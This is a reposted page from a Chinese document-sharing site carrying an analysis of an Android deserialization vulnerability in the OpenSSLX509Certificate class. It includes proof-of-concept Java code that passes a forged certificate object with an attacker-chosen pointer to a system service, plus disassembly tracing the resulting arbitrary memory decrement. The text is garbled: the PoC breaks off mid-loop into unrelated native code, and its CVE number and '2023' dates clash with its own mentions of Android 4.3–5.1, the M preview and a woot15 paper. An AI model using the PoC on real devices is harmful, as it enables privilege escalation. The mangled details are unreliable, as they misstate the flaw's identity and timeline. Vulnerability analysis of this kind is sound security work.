OpenSSLX509Certificate反序列化漏洞CVE_第1页
OpenSSLX509Certificate反序列化漏洞CVE_第2页
OpenSSLX509Certificate反序列化漏洞CVE_第3页
OpenSSLX509Certificate反序列化漏洞CVE_第4页
OpenSSLX509Certificate反序列化漏洞CVE_第5页
已阅读5页,还剩10页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

本文格式为Word版,下载可任意编辑——OpenSSLX509Certificate反序列化漏洞(CVEOpenSSLX509Certificate反序列化漏洞(CVE-2023-3825)成因分析

:没羽

官网:百度搜素“阿里聚安全〞

官方微博:阿里聚安全官方微信:阿里聚安全

一、序

序列化(Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创立该对象。Android也有大量场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,假使使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。

二、漏洞成因

这个Android序列化漏洞(CVE-2023-3825),影响Android4.3及Android5.1版本,也就是JellyBean、KitKat、棒棒糖和AndroidM预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接纳受害者手机上的任意应用。这个漏洞是由的IBM安全团队OrPeles和RoeeHay在USENIX2023大会上的议题《ONECLASSTORULETHEMALL0-DAYDESERIALIZATIONVULNERABILITIESINANDROID》[1]。

2.1PoC构造

Paper没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在

OpenSSLX509Certificate(全包名路径为.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:

1)OpenSSLX509Certificate是可序列化的,由于他继承自可序列化的Certificate类;

2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数fieldmContext,long型(实际为指针类型);

3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);其中mContext就是要找的可被攻击控制的指针。我对CVE-2023-7911的POC进行了改造,

首先定义类.conscrypt.ApenSSLX509Certificate,如下:

publicclassApenSSLX509CertificateimplementsSerializable{

//privatestaticfinallongserialVersionUID=-5454153458060784251L;//android4.4.2emulator

privatestaticfinallongserialVersionUID=-8550350185014308538L;//android5.1.1emulator

publicfinallongmContext;ApenSSLX509Certificate(longctx){

mContext=ctx;}}

注意包名为.conscrypt,然后在同包名下创立一个MainActivity.java,对ApenSSLX509Certificate进行调用:

.conscrypt.ApenSSLX509CertificateevilProxy

=.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);

b.putSerializable(\,evilProxy);

和CVE-2023-7911PoC一样,向“android.os.IUserManager〞的service发送请求前,修改类名:

intl=data.length;for(inti=0;i>>system_server(static_cast(x509Ref));JNI_TRACE(\if(x509==NULL){

jniThrowNullPointerException(env,\JNI_TRACE(\return;}

X509_free(x509);}

NativeCrypto_X509_free函数最终调用的X509_free是OpenSSL库提供的接口,关于如何找到该函数实现请参考附录一。

根据上面分析得到信息,在动态调试时,我们在libjavacrypto.so::NativeCrypto_X509_free函数中下断,

.text:00008C1Csub_8C1C;DATAXREF:.data:000175ACo

.text:00008C1CCBNZR2,loc_8C26

.text:00008C1ELDRR1,=(aX509Null-0x8C24).text:00008C20ADDR1,PC;\.text:00008C22B.Wj_j_j_jniThrowNullPointerException.text:00008C26

.text:00008C26loc_8C26;CODEXREF:sub_8C1Cj

.text:00008C26MOVR0,R2.text:00008C28B.Wj_j_X509_free.text:00008C28;Endoffunctionsub_8C1C

下断点后,有时会碰见单步执行异常,笔者使用的一个方法供参考:设置该lib库的所有内存节属性为可写的。

在j_j_X509_free中单步步入,到libcrypto.so:ASN1_item_free函数,

.text:00056408EXPORTASN1_item_free

.text:00056408ASN1_item_free;CODEXREF:j_ASN1_item_free+8j

.text:00056408;DATAXREF:.got:ASN1_item_free_ptro.text:00056408

.text:00056408var_C=-0xC.text:00056408

.text:00056408PUSH.W{R11,LR}.text:0005640CSUBSP,SP,#8.text:0005640ESTRR0,[SP,#0x10+var_C].text:00056410ADDR0,SP,#0x10+var_C.text:00056412MOVSR2,#0.text:00056414BLsub_56420.text:00056418ADDSP,SP,#8.text:0005641APOP.W{R11,PC}.text:0005641A;EndoffunctionASN1_item_free

sub_56420即为asn1_item_combine_free函数,定义为:

staticvoidasn1_item_combine_free(ASN1_VALUE**pval,constASN1_ITEM*it,intcombine)。我们继续分析这个函数,

.text:00056420sub_56420;CODEXREF:ASN1_item_free+Cp

.text:00056420;ASN1_item_ex_free+2j...

.text:00056420PUSH.W{R4-R10,LR}.text:00056424MOVR10,R0;R0:pval,

.text:00056426MOVR8,R2;R1:combine,int;

.text:00056428MOVR5,R1;R1:it,ASN1_ITEM;

.text:00056428;libcrypto.so:X509_NAME_TYPE_it

.text:0005642ACMP.WR10,#0;if(!pval)return;.text:0005642EBEQ.Wdef_5645A;jumptable0005645Adefaultcase

.text:00056432LDRBR1,[R5];R1itype;

.text:00056434LDRR0,[R5,#0x10];R0funcs;

.text:00056436CBZR1,loc_56442;#defineASN1_ITYPE_PRIMITIVE0x0

.text:00056438LDR.WR2,[R10];!*pval.text:0005643CCMPR2,#0

.text:0005643EBEQ.Wdef_5645A;jumptable0005645Adefaultcase

如分号后的备注所写,这段代码将初始相关变量:将CODEXREF:sub_56420+16j

.text:00056442CMPR0,#0.text:00056444ITTNE

.text:00056446LDRNE.WR9,[R0,#0x10];R9:asn1_cb=aux->asn1_cb;

.text:0005644ACMPNE.WR9,#0.text:0005644EBNEloc_56454;switch(it->itype)

.text:00056450MOV.WR9,#0

继续,接下来调用asn1_do_lock函数:

.text:00056466MOVR0,R10;jumptable0005645Acases1,6

.text:00056468MOV.WR1,#0xFFFFFFFF;传入-1.text:0005646CMOVR2,R5;it.text:0005646EBLXj_asn1_do_lock;intasn1_do_lock(ASN1_VALUE**pval,intop,constASN1_ITEM*it)

.text:0005646E;走到这了,crash在这个函数

.text:00056472CMPR0,#00005645Adefaultcase

.text:00056474BGTdef_5645A;jumptable

此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的aux=

it->funcs;

.text:00057986CMPR2,#0

再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12:

.text:00057992LDRR3,[R2,#8];aux->ref_offset

.text:00057994CMPR1,#0

.text:00057996LDRR0,[R0];R0=lck=offset2ptr(*pval,aux->ref_offset);

.text:0005799CBEQloc_579B6

接下来是调用CRYPTO_add_lock函数:

.text:000579A2MOVSR0,#0x75

.text:000579A4LDRR3,=(aExternalOpe_43-0xFA1D8)

.text:000579A6ADDLR,PC;_GLOBAL_OFFSET_TABLE_

.text:000579A8LDRR2,[R2,#0xC];aux->ref_lock

.text:000579AAADDR3,LR;\

.text:000579ACSTRR0,[SP,#0x10+var_10];line:0x75->117

.text:000579AEMOVR0,R12.text:000579B0BLXj_CRYPTO_add_lock;intCRYPTO_add_lock(int*pointer,intamount,inttype,constchar*file,intline)

进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中:

.text:000729E0;intCRYPTO_add_lock(int*pointer,intamount,inttype,constchar*file,intline).text:000729E0EXPORTCRYPTO_add_lock

.text:000729E0CRYPTO_add_lock;CODEXREF:j_CRYPTO_add_lock+8j

.text:000729E4MOVR7,R0;R7=(char*)mContext+aux->ref_offset......

.text:000729E8MOVR6,R1;R1=-1

??

.text:00072A1CLDRR0,[R7];Crash在这,此时R7为0x7F7F7F8F

.text:00072A24ADDR6,R0??

.text:00072A28STRR6,[R7];假使R7指向的内存为写的,这里可以实现任意写

调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext->references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c(external/openssl/crypto/asn1/)[4]的asn1_item_combine_free方法:

caseASN1_ITYPE_SEQUENCE:if(asn1_do_lock(pval,-1,it)>0)return;if(asn1_cb){

i=asn1_cb(ASN1_OP_FREE_PRE,pval,it,NULL);if(i==2)return;}

当asn1_do_lock返回为0,即mContext->references为0时,才调用asn1_cb函数释放资源。继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。

Google的修复方法[2]是给mContext成员添加transient修饰符,使其不被序列化。

三、总结

在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2023-7911中的mOrgue,CVE-2023-3825中的mContext。本漏洞(CVE-2023-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(屡屡减1)漏洞。

四、参考

[1]https://./system/files/conference/woot15/woot15-paper-peles.pdf

[2]/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540

[3]/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540

[4]/platform/e

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论